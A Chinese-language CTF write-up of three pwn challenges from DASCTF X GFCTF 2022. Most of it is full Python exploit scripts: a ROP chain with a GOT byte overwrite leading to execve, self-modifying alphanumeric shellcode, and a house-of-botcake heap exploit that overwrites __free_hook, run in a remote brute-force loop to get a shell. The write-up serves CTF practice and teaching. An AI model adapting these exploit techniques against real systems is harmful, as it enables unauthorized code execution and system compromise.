DASCTF X GFCTF 2022十月挑战赛 pwn wp

目录

• 1 r()p
• 2 1!5!
• 3 magic_book

随便做了下。

1 r()p

利用如下几个gadgets构造即可：

# 控制rax后任意地址写
.text:000000000040115A                 mov     rsi, rax        ; buf
.text:000000000040115D                 mov     edx, dword ptr [rsp+18h+buf] ; nbytes
.text:0000000000401161                 xor     edi, edi        ; fd
.text:0000000000401163                 mov     eax, 0
.text:0000000000401168                 call    _read

# 控制rax
0x000000000040116d: mov eax, dword ptr [rsp + 0xc]; add rsp, 0x18; ret;

# 控制 rdi
0x0000000000401099: mov edi, 0x404018; jmp rax;

然后把got@read最低字节修改，指向syscall就能调execve

#!/usr/bin/env python3
# Date: 2022-10-24 16:33:10
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc
#     Remote: python3 exp.py remote elf-file-path ip:port

# debug in Ubuntu 22.04
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)

# 0x000000000040116d: mov eax, dword ptr [rsp + 0xc]; add rsp, 0x18; ret;
# 0x0000000000401099: mov edi, 0x404018; jmp rax;

s(p32(0x400) + p32(0) + flat({
    0x4: 0x404018,
    0x10: 0x40115A,
    0x24: p32(0x8),
    0x30: 0x000000000040116d,
    0x44: elf.got.read,
    0x50: 0x40115A,
    0x64: p32(1), # eax
    0x70: 0x000000000040116d,
    0x84: p32(elf.bss(0x100)),
    0x90: 0x40115A,
    0xa4: p32(elf.bss(0x100)),
    0xb0: 0x000000000040116d,
    0xb0+0x14: p32(CurrentGadgets.ret()),
    0xd0: 0x0000000000401099,
    0xd8: 0x000000000040116d,
    0xd8+0x14: p32(SyscallNumber.amd64.EXECVE),
    0xd8+0x20: elf.plt.read
}, length=0x100))

sleep(3)
s("/bin/sh\x00") # write /bin/sh at 0x404018
sleep(3)
if gift.debug:
    s("\x90") # write lowest byte of got@read
else: # remote
    s("\x0f") # write lowest byte of got@read
sleep(3)
s("\x00") # set rsi rdx
sleep(3)
log_ex("Now Get Shell!")

ia()

2 1!5!

直接看脚本吧。

#!/usr/bin/env python3
# Date: 2022-10-24 15:43:47
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc
#     Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *

cli_script()

"""
Stages:
1. rbx is 0, we can control rcx, rdx, rax, firstly invoke system call `read` by `int 0x80` to read again
2. read execve shellcode to getshell

Tips(hex shellcode): 
1. 35XXXXXXXX    --> xor eax, XXXX
2. \x00\x00 --> add [rax], al (byte), oveflow to get more single byte
3. cd80     --> int 0x80
4. 31414c   --> xor [rcx+0x4c], eax (byte)
5. 0x80 = 0x4f + 0x31
6. 0xcd = 5 * 0x4e + 0x47
"""

s(flat({
    0: asm("""
           push rdx
           pop rcx
           xor eax, 0x41414141
           xor [rcx+0x41], eax
           xor eax, 0x41414545 /* eax: 0404*/
           xor [rcx+0x43], eax
           /*mov eax, 0x1014f*/
           push rsi
           pop rax
           xor eax, 0x42424242
           xor eax, 0x42434342
           """),
    0x41: "AAAA",
    0x45: asm("""
            push r9
            pop rax
            xor eax, 0x42434342
            xor eax, 0x42424242
            push rax
            pop rcx
            push r9
            pop rax
            xor eax, 0x41414141
            xor [rcx+0x41], eax
            xor [rcx+0x45], eax
            xor [rcx+0x49], eax
            xor eax, 0x41414545 /* eax: 0404*/
            xor [rcx+0x4b], eax
            push rdx
            pop rcx
            push rax
            pop rdx
            push r9
            pop rax
            xor eax, 0x41414141
            xor eax, 0x41414142
            /*push 0x3*/
            push rax
            /*mov eax, 0x1014e*/
            push rsi
            pop rax
            xor eax, 0x42424242
            xor eax, 0x42434343
              """),
    0x141: "AAAAAAAAAAAA\x58", # now int 0x80 is ok
    0x14e: "\x47", # + 5 * 0x4e;  int 0x80 --> \xcd\x80
    0x14f: "\x31",
    0x1ff: "\x4f"
}, filler="\x59\x51", length=0x200))

log_ex("Now Get Shell!")
s(b"\x90"*0x152 + ShellcodeMall.amd64.execve_bin_sh)

ia()

3 magic_book

5点多开完会还能拿1血......考察基础的house of botcake，远程爆破1/16的成功概率。

#!/usr/bin/env python3
# Date: 2022-10-23 17:05:38
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc
#     Remote: python3 exp.py remote elf-file-path ip:port

# bruteforce: for i in $(seq 1 16); do ./exp.py re ./pwn IP:PORT -nl; done

from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i, prompt="Your choice : "):
    sla(prompt, i)

def promise(sz, data="/bin/sh\x00"):
    cmd('1')
    sla("Size: ", str(sz))
    sa("Content: ", data)

def recall(i):
    cmd('2')
    sla("Index: ", str(i))
    
def gift_(i):
    cmd("9")
    sla("Index: ", str(i))

log_ex("Heap fengshui!")
promise(0x100)
promise(0x100) # 1

promise(0x70) # 2
promise(0x100, flat({
    0x20: [
        0x140, 0x20,
        0, 0,
        0, 0xc1
    ]
    })) # 3

for i in range(6): # 3-10
    promise(0x100)

for i in range(3, 10):
    recall(i) 

gift_(1)
recall(0)

promise(0x100)
recall(1)

promise(0x70)
promise(0x80)

log_ex("Bruteforce to leak glibc address!")
if gift.debug:
    stdoutaddr = gift._libc_base + libc.sym._IO_2_1_stdout_
    stdoutaddr &= 0xffff
else:
    stdoutaddr = 0x96a0

leak("stdoutaddr", stdoutaddr)

promise(0x70, p16(stdoutaddr))

promise(0x100, flat("a"*0x70, 0, 0x141)) # change ub size

promise(0x100, flat(0xfbad1887, 0, 0, 0, "\x00"))

lb = recv_current_libc_addr(0x1ec980)
assert (lb >> 40) in (0x7f, 0x7e), "wrong libc base!"
set_current_libc_base_and_log(lb)

recall(0xb)
recall(2)
promise(0xa0, b"a"*0x90 + p64_ex(libc.sym.__free_hook - 8))

promise(0x70)
promise(0x70, p64(0)+p64(libc.sym.system))

recall(0xa)

sleep(0.2)
log_ex("Now Get Shell!")

ia()